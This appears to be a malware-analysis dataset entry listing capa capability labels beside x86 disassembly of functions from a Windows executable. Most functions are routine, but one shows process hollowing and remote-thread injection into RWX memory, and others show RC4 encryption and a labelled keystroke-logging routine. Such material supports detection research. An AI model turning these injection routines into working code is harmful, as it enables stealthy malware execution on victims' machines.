joyce8/EMBER2024-capa huggingface dataset:
Function at 0x495944
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], edx
mov esi, eax
mov eax, dword [ebp - 4]
call fcn.00405300
xor eax, eax
push ebp
push 0x495ad4
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
cmp esi, 0x80000001
jne 0x49598e
lea eax, [ebp - 0x20]
push eax
push esi
call sub.advapi32.dll_RegOpenCurrentUser
test eax, eax
jne 0x495ab9
jmp 0x495991
mov dword [ebp - 0x20], esi
mov edx, dword [ebp - 4]
mov al, 0x5c
call fcn.004956f4
mov edi, eax
test edi, edi
jle 0x495aa8
lea eax, [ebp - 8]
push eax
mov ecx, edi
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405378
lea eax, [ebp - 0x14]
push eax
movzx eax, byte [ebp + 8]
mov eax, dword [eax*4 + 0x4c40a4]
or eax, 0x20019
push eax
push 0
mov eax, dword [ebp - 8]
call fcn.00405310
push eax
mov eax, dword [ebp - 0x20]
push eax
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x495aa3
mov eax, dword [ebp - 4]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x495a01
mov eax, dword [ebp - 0x24]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 8]
push eax
mov ecx, dword [ebp - 0x24]
sub ecx, edi
lea edx, [edi + 1]
mov eax, dword [ebp - 4]
call fcn.00405378
cmp dword [ebp - 8], 0
jne 0x495a1f
xor edi, edi
jmp 0x495a29
mov eax, dword [ebp - 8]
call fcn.00405310
mov edi, eax
lea eax, [ebp - 0x1c]
push eax
push 0
lea eax, [ebp - 0x10]
push eax
push 0
push edi
mov eax, dword [ebp - 0x14]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x495a98
mov eax, dword [ebp - 0x1c]
call fcn.00402f7c
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x18]
push eax
lea eax, [ebp - 0x10]
push eax
push 0
push edi
mov eax, dword [ebp - 0x14]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x495a90
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x10]
jne 0x495a86
mov eax, dword [ebp + 0x10]
mov edx, dword [ebp - 0x18]
mov dword [eax], edx
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp - 0x1c]
mov dword [eax], edx
mov bl, 1
jmp 0x495a98
mov eax, dword [ebp - 0x18]
call fcn.00402f98
jmp 0x495a98
mov eax, dword [ebp - 0x18]
call fcn.00402f98
mov eax, dword [ebp - 0x14]
push eax
call sub.advapi32.dll_RegCloseKey_1
jmp 0x495aa8
call sub.kernel32.dll_GetLastError
cmp esi, 0x80000001
jne 0x495ab9
mov eax, dword [ebp - 0x20]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x495adb
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404ea4
ret
Function at 0x495b70
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], edx
mov esi, eax
mov eax, dword [ebp - 4]
call fcn.00405300
xor eax, eax
push ebp
push 0x495ca9
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
cmp esi, 0x80000001
jne 0x495bba
lea eax, [ebp - 0x14]
push eax
push esi
call sub.advapi32.dll_RegOpenCurrentUser
test eax, eax
jne 0x495c8e
jmp 0x495bbd
mov dword [ebp - 0x14], esi
mov edx, dword [ebp - 4]
mov al, 0x5c
call fcn.004956f4
mov edi, eax
test edi, edi
jle 0x495c7d
lea eax, [ebp - 8]
push eax
mov ecx, edi
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405378
lea eax, [ebp - 0x10]
push eax
movzx eax, byte [ebp + 8]
mov eax, dword [eax*4 + 0x4c40a4]
or eax, 0x20019
push eax
push 0
mov eax, dword [ebp - 8]
call fcn.00405310
push eax
mov eax, dword [ebp - 0x14]
push eax
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x495c78
mov eax, dword [ebp - 4]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x495c29
mov eax, dword [ebp - 0x18]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 8]
push eax
mov ecx, dword [ebp - 0x18]
sub ecx, edi
lea edx, [edi + 1]
mov eax, dword [ebp - 4]
call fcn.00405378
cmp dword [ebp - 8], 0
jne 0x495c47
xor edi, edi
jmp 0x495c51
mov eax, dword [ebp - 8]
call fcn.00405310
mov edi, eax
mov eax, dword [ebp + 0xc]
push eax
push 0
mov eax, dword [ebp - 0xc]
push eax
push 0
push edi
mov eax, dword [ebp - 0x10]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x495c6d
mov bl, 1
mov eax, dword [ebp - 0x10]
push eax
call sub.advapi32.dll_RegCloseKey_1
jmp 0x495c7d
call sub.kernel32.dll_GetLastError
cmp esi, 0x80000001
jne 0x495c8e
mov eax, dword [ebp - 0x14]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x495cb0
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404ea4
ret
Function at 0x49fc58
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
mov esi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00405300
xor eax, eax
push ebp
push 0x49fdaa
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.00404e80
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 4]
call fcn.00405310
mov ebx, eax
push ebx
call sub.version.dll_GetFileVersionInfoSizeA
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
push eax
lea eax, [ebp - 8]
mov ecx, 1
mov edx, dword [0x408794]
call fcn.0040668c
add esp, 4
mov eax, dword [ebp - 8]
xor ecx, ecx
mov edx, dword [ebp - 0x10]
call fcn.004036e8
mov eax, dword [ebp - 8]
push eax
push 0x1000
push 0
push ebx
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x49fd79
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push 0x49fdb8
mov eax, dword [ebp - 8]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x49fd79
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 8]
shr eax, 0x10
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x14]
call fcn.00409d04
push dword [ebp - 0x14]
push 0x49fdc4
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 8]
and eax, 0xffff
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x18]
call fcn.00409d04
push dword [ebp - 0x18]
push 0x49fdc4
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0xc]
shr eax, 0x10
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x1c]
call fcn.00409d04
push dword [ebp - 0x1c]
push 0x49fdc4
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0xc]
and eax, 0xffff
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x20]
call fcn.00409d04
push dword [ebp - 0x20]
mov eax, esi
mov edx, 7
call fcn.00405214
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49fdb1
lea eax, [ebp - 0x20]
mov edx, 4
call fcn.00404ea4
lea eax, [ebp - 8]
mov edx, dword [0x408794]
call fcn.004067ac
lea eax, [ebp - 4]
call fcn.00404e80
ret
Function at 0x49fdfc
Capabilities:
Get storage device properties

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdbc
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x23c], ecx
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push 0x49ff37
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.00404e80
xor edx, edx
push ebp
push 0x49ff17
push dword fs:[edx]
mov dword fs:[edx], esp
push 0
push 0
push 3
push 0
push 3
push 0
lea eax, [ebp - 0x23c]
push eax
mov dword [ebp - 0x244], esi
mov byte [ebp - 0x240], 0
lea edx, [ebp - 0x244]
xor ecx, ecx
mov eax, 0x49ff4c
call fcn.0040abd0
mov eax, dword [ebp - 0x23c]
call fcn.00405310
push eax
call sub.kernel32.dll_CreateFileA
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x49fe87
call fcn.0040ed10
lea eax, [ebp - 0x14]
xor ecx, ecx
mov edx, 0xc
call fcn.004036e8
lea eax, [ebp - 0x238]
xor ecx, ecx
mov edx, 0x224
call fcn.004036e8
mov eax, 0x224
mov dword [ebp - 0x234], eax
push 0
lea edx, [ebp - 4]
push edx
push eax
lea eax, [ebp - 0x238]
push eax
push 0xc
lea eax, [ebp - 0x14]
push eax
push 0x2d1400
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_DeviceIoControl
test eax, eax
jne 0x49fede
call fcn.0040ed10
mov eax, dword [ebp - 0x228]
test eax, eax
je 0x49fefa
lea edx, [ebp - 0x238]
lea esi, [edx + eax]
mov eax, ebx
mov edx, esi
call fcn.00405078
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49ff1e
cmp dword [ebp - 8], 0xffffffff
je 0x49ff16
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_CloseHandle
ret
Function at 0x4a1648
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00405300
xor eax, eax
push ebp
push 0x4a16e7
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
lea eax, [ebp - 4]
mov edx, 0x4a1700
call fcn.0040514c
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.004036e8
lea eax, [ebp - 0x58]
xor ecx, ecx
mov edx, 0x10
call fcn.004036e8
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00405310
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
je 0x4a16d1
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a16ee
lea eax, [ebp - 4]
call fcn.00404e80
ret

Function at 0x4a1764
Capabilities:
Create process on windows

Disassembly:
add esp, 0xffffffac
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 4]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateProcessA
cmp eax, 1
sbb eax, eax
inc eax
add esp, 0x54
ret
Function at 0x4a1cb8
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffefc
mov ebp, edx
mov dword [esp], eax
test ecx, ecx
jle 0x4a1cd3
cmp ecx, 0x100
jle 0x4a1ce9
mov ecx, 0x4a1d6c
mov dl, 1
mov eax, dword [0x4087cc]
call fcn.0040d63c
call fcn.00404814
xor ebx, ebx
mov esi, dword [esp]
lea edi, [esp + 4]
mov byte [esi], bl
mov eax, ebx
cdq
idiv ecx
add edx, ebp
movzx eax, byte [edx]
mov byte [edi], al
inc ebx
inc edi
inc esi
cmp ebx, 0x100
jne 0x4a1cf2
xor esi, esi
mov ebx, pe_nt_image_headers32
mov eax, dword [esp]
lea edi, [esp + 4]
movzx edx, byte [eax]
movzx ecx, dl
add esi, ecx
movzx ecx, byte [edi]
add esi, ecx
and esi, 0xff
mov ecx, dword [esp]
movzx ecx, byte [ecx + esi]
mov byte [eax], cl
mov ecx, dword [esp]
mov byte [ecx + esi], dl
inc edi
inc eax
dec ebx
jne 0x4a1d19
mov edx, dword [esp]
add edx, 0x100
mov eax, dword [esp]
mov ecx, pe_nt_image_headers32
call fcn.0040316c
add esp, 0x104
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x4a1d94
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebp, dword [ebp + 8]
cmp ebp, 0
jle 0x4a1dcf
mov esi, edx
mov edi, ecx
mov ebx, eax
xor eax, eax
xor edx, edx
inc al
movzx ecx, byte [eax + ebx]
add dl, cl
mov ch, byte [edx + ebx]
mov byte [eax + ebx], ch
mov byte [edx + ebx], cl
add cl, ch
xor ch, ch
mov cl, byte [ecx + ebx]
xor cl, byte [esi]
mov byte [edi], cl
inc esi
inc edi
sub ebp, 1
jne 0x4a1dac
pop edi
pop esi
pop ebx
pop ebp
ret 4
Function at 0x4a4388
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
mov ecx, 4
push 0
push 0
dec ecx
jne 0x4a4390
push ecx
push ebx
xor eax, eax
push ebp
push 0x4a4571
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 4]
mov eax, 0x4a4588
call fcn.0040f3f0
mov eax, dword [ebp - 4]
test eax, eax
je 0x4a43c0
sub eax, 4
mov eax, dword [eax]
test eax, eax
jle 0x4a446b
lea edx, [ebp - 8]
xor eax, eax
call fcn.004033c8
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4a43de
sub ebx, 4
mov ebx, dword [ebx]
lea eax, [ebp - 0xc]
push eax
mov ecx, ebx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405378
lea edx, [ebp - 0x14]
mov eax, dword [ebp - 0xc]
call fcn.00409668
mov eax, dword [ebp - 0x14]
push eax
lea edx, [ebp - 0x18]
mov eax, dword [ebp - 8]
call fcn.00409668
mov edx, dword [ebp - 0x18]
pop eax
call fcn.004052a8
jne 0x4a4425
mov eax, 0x542e38
mov edx, dword [ebp - 4]
call fcn.00404ed4
jmp 0x4a447c
mov edx, dword [ebp - 8]
mov eax, 0x4a45a4
call fcn.0040545c
dec eax
jl 0x4a444f
push 0x4a45b0
push dword [ebp - 8]
push 0x4a45b0
lea eax, [ebp - 8]
mov edx, 3
call fcn.00405214
push dword [ebp - 8]
push 0x4a45a4
push dword [ebp - 4]
mov eax, 0x542e38
mov edx, 3
call fcn.00405214
jmp 0x4a447c
call sub.kernel32.dll_GetCommandLineA_1
mov edx, eax
mov eax, 0x542e38
call fcn.00405078
lea edx, [ebp - 0x10]
mov eax, dword [0x542e38]
call fcn.0049fbb4
mov eax, dword [ebp - 0x10]
call fcn.004064d0
cmp eax, 2
jne 0x4a452b
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 4]
movzx eax, byte [eax]
sub al, 0x2d
je 0x4a452b
sub al, 2
je 0x4a452b
lea edx, [ebp - 8]
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 4]
mov cl, 1
call fcn.004967d0
test al, al
jne 0x4a452b
mov eax, dword [ebp - 8]
call fcn.004a3edc
test al, al
je 0x4a44e5
lea edx, [ebp - 0x1c]
mov eax, dword [ebp - 8]
call fcn.004a40f8
mov edx, dword [ebp - 0x1c]
lea eax, [ebp - 8]
call fcn.00404f18
mov eax, dword [ebp - 8]
call fcn.004a3fe0
test al, al
je 0x4a4507
lea edx, [ebp - 0x20]
mov eax, dword [ebp - 8]
call fcn.004a4304
mov edx, dword [ebp - 0x20]
lea eax, [ebp - 8]
call fcn.00405108
lea edx, [ebp - 0x24]
xor eax, eax
call fcn.004033c8
push dword [ebp - 0x24]
push 0x4a45a4
push dword [ebp - 8]
mov eax, 0x542e38
mov edx, 3
call fcn.00405214
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a4578
lea eax, [ebp - 0x24]
call fcn.00404e80
lea eax, [ebp - 0x20]
call fcn.00405660
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.00404ea4
lea eax, [ebp - 0x10]
mov edx, dword [0x40757c]
call fcn.004067ac
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404ea4
ret
Function at 0x4a68dc
Capabilities:
Enumerate services

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x4a6a66
push dword fs:[eax]
mov dword fs:[eax], esp
push 4
push 0
push 0
call sub.advapi32.dll_OpenSCManagerA
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x4a6a42
xor edx, edx
push ebp
push 0x4a6a3b
push dword fs:[edx]
mov dword fs:[edx], esp
mov dword [ebp - 0x20], 0x3b
mov dword [ebp - 8], 1
mov dword [ebp - 0x14], 1
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], 0x1c
mov eax, dword [ebp - 0x14]
push eax
lea eax, [ebp - 4]
mov ecx, 1
mov edx, dword [0x4a68b4]
call fcn.0040668c
add esp, 4
mov ebx, dword [ebp - 4]
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x14]
push eax
push ebx
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 0x20]
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.advapi32.dll_EnumServicesStatusA
test eax, eax
je 0x4a6a03
xor eax, eax
mov dword [ebp - 0x24], eax
mov esi, dword [ebp - 0x18]
dec esi
test esi, esi
jl 0x4a6a0b
inc esi
lea edx, [ebp - 0x28]
mov eax, dword [ebx]
call fcn.0040a6e0
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
test eax, eax
je 0x4a69b5
sub eax, 4
mov eax, dword [eax]
test eax, eax
je 0x4a6a0b
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
call fcn.004064d0
inc eax
push eax
mov eax, dword [ebp - 0xc]
mov ecx, 1
mov edx, dword [0x4a5fa8]
call fcn.0040668c
add esp, 4
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
call fcn.004064d8
lea eax, [eax + eax*8]
mov edx, dword [ebp - 0xc]
mov edx, dword [edx]
push esi
lea edi, [edx + eax*4]
mov esi, ebx
mov ecx, 9
rep movsd dword es:[edi], dword [esi]
pop esi
add ebx, 0x24
dec esi
jne 0x4a6999
jmp 0x4a6a0b
call fcn.0049399c
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
sub eax, 0x7a
je 0x4a6948
sub eax, 0x70
je 0x4a6948
cmp dword [ebp - 0x24], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a6a42
mov eax, dword [ebp - 0x10]
push eax
call sub.advapi32.dll_CloseServiceHandle
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a6a6d
lea eax, [ebp - 0x28]
call fcn.00404e80
lea eax, [ebp - 4]
mov edx, dword [0x4a68b4]
call fcn.004067ac
ret
Function at 0x4a6a74
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
push 0
push 0
call fcn.004a2e1c
mov dword [ebp - 8], eax
mov dword [ebp - 4], edx
cmp ebx, 0x138
jb 0x4a6b07
xor edx, edx
push ebp
push 0x4a6afd
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, esi
xor edx, edx
push ebp
push 0x4a6aec
push dword fs:[edx]
mov dword fs:[edx], esp
cmp word [eax], 0x5a4d
jne 0x4a6ade
mov eax, dword [eax + 0x3c]
lea ecx, [esi + eax]
cmp dword [ecx], 0x4550
jne 0x4a6ade
cmp word [ecx + 4], 0x14c
jne 0x4a6ade
mov eax, dword [ecx + 8]
xor edx, edx
mov dword [ebp - 8], eax
mov dword [ebp - 4], edx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a6af3
ret
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 4]
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret

Function at 0x4a6d64
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffef8
mov ebx, edx
push 0
push eax
lea eax, [esp + 8]
push eax
push 0
call sub.shell32.dll_SHGetSpecialFolderPathA
mov eax, ebx
mov edx, esp
mov ecx, 0x105
call fcn.004050f0
add esp, 0x108
pop ebx
ret
Function at 0x4adb78
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Execute shellcode via indirect call
Inject thread
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffcbc
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00405300
xor eax, eax
push ebp
push 0x4add43
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x4add58
call sub.kernel32.dll_GetModuleHandleA_2
mov ebx, eax
push 0x4add68
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov dword [ebp - 0x20], eax
push 0x4add7c
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov dword [ebp - 0x24], eax
lea eax, [ebp - 4]
mov edx, 0x4add98
call fcn.0040514c
lea eax, [ebp - 0x68]
xor ecx, ecx
mov edx, 0x44
call fcn.004036e8
lea eax, [ebp - 0x78]
xor ecx, ecx
mov edx, 0x10
call fcn.004036e8
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x68]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00405310
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
je 0x4add1f
lea eax, [ebp - 8]
call fcn.004adb48
mov eax, dword [ebp - 8]
call fcn.004064d0
mov esi, eax
mov eax, dword [ebp - 0x10]
add eax, esi
push eax
lea eax, [ebp - 8]
mov ecx, 1
mov edx, dword [0x408794]
call fcn.0040668c
add esp, 4
mov edi, dword [ebp - 8]
lea eax, [edi + esi]
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0xc]
call fcn.004082cc
push 0x40
push 0x1000
mov eax, dword [ebp - 8]
call fcn.004064d0
push eax
push 0
mov eax, dword [ebp - 0x78]
push eax
call sub.kernel32.dll_VirtualAllocEx
mov ebx, eax
add esi, ebx
lea eax, [edi + 1]
mov dword [eax], esi
lea eax, [ebp - 0x18]
push eax
mov eax, dword [ebp - 8]
call fcn.004064d0
push eax
push edi
push ebx
mov eax, dword [ebp - 0x78]
push eax
call sub.kernel32.dll_WriteProcessMemory
lea eax, [ebp - 0x344]
xor ecx, ecx
mov edx, 0x2cc
call fcn.004036e8
mov dword [ebp - 0x344], 0x10007
lea eax, [ebp - 0x344]
push eax
mov eax, dword [ebp - 0x74]
push eax
call dword [ebp - 0x20]
test eax, eax
je 0x4adcf3
mov dword [ebp - 0x28c], ebx
lea eax, [ebp - 0x344]
push eax
mov eax, dword [ebp - 0x74]
push eax
call dword [ebp - 0x24]
test eax, eax
je 0x4add0d
mov eax, dword [ebp - 0x74]
push eax
call sub.kernel32.dll_ResumeThread
jmp 0x4add0d
call sub.kernel32.dll_GetLastError
lea eax, [ebp - 0x1c]
push eax
push 0
push esi
push ebx
push 0
push 0
mov eax, dword [ebp - 0x78]
push eax
call sub.kernel32.dll_CreateRemoteThread
mov eax, dword [ebp - 0x74]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp - 0x78]
push eax
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4add4a
lea eax, [ebp - 8]
mov edx, dword [0x408794]
call fcn.004067ac
lea eax, [ebp - 4]
call fcn.00404e80
ret
Function at 0x4b0ba0
Capabilities:
Log keystrokes

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff8
mov ebx, eax
mov esi, 3
mov eax, ebx
call fcn.004594e8
mov edi, eax
call sub.user32.dll_GetActiveWindow
cmp edi, eax
jne 0x4b0be3
mov eax, ebx
call fcn.004594e8
mov edi, eax
call sub.user32.dll_GetForegroundWindow
cmp edi, eax
jne 0x4b0be3
mov eax, ebx
call fcn.004594e8
call fcn.004b0b70
jmp 0x4b0c92
mov eax, ebx
call fcn.004594e8
call fcn.004b0b70
mov eax, dword [0x53dafc]
mov eax, dword [eax]
mov edi, dword [eax + 0x30]
test edi, edi
je 0x4b0c86
push edi
call sub.user32.dll_GetLastActivePopup
mov ebp, eax
test ebp, ebp
je 0x4b0c86
cmp edi, ebp
je 0x4b0c86
push ebp
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x4b0c86
push ebp
call sub.user32.dll_IsWindowEnabled
test eax, eax
je 0x4b0c86
call sub.user32.dll_GetForegroundWindow
push 0
push eax
call sub.user32.dll_GetWindowThreadProcessId
mov dword [esp + 4], eax
call sub.kernel32.dll_GetCurrentThreadId_1
mov dword [esp], eax
push 0xffffffffffffffff
mov eax, dword [esp + 8]
push eax
mov eax, dword [esp + 8]
push eax
call sub.user32.dll_AttachThreadInput
push ebp
call sub.user32.dll_SetForegroundWindow
push 0
mov eax, dword [esp + 8]
push eax
mov eax, dword [esp + 8]
push eax
call sub.user32.dll_AttachThreadInput
push 0x4b0ca0
push 0x4b0cb4
call sub.kernel32.dll_GetModuleHandleA_2
push eax
call sub.kernel32.dll_GetProcAddress_1
mov ebp, eax
test ebp, ebp
je 0x4b0c86
push 0
push edi
call ebp
mov eax, ebx
call fcn.004594e8
call fcn.004b0b70
dec esi
jne 0x4b0bae
pop ecx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret